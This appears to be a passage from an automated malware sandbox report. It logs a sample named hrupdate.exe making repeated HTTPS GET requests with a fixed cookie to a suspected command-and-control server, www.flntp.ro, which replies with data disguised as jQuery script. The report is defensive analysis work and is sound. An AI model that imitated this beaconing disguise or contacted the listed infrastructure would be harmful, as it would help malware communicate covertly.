Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:42 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:43 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5628 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:43 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49754	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:45 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:45 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:45 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5671 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:45 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49755	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:47 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:48 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5607 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:48 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49756	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:49 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:50 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:50 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:50 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49757	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:51 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:52 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:52 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:52 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49758	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:54 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:54 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:54 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5607 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:54 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49759	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:56 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:57 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:57 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:57 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49760	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:58 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:59 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:59 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5671 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:59 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49762	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:01 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:01 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:01 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5628 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:01 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49769	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:03 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:04 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:03 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5692 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:04 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49775	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:05 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:06 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:06 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:06 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49781	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
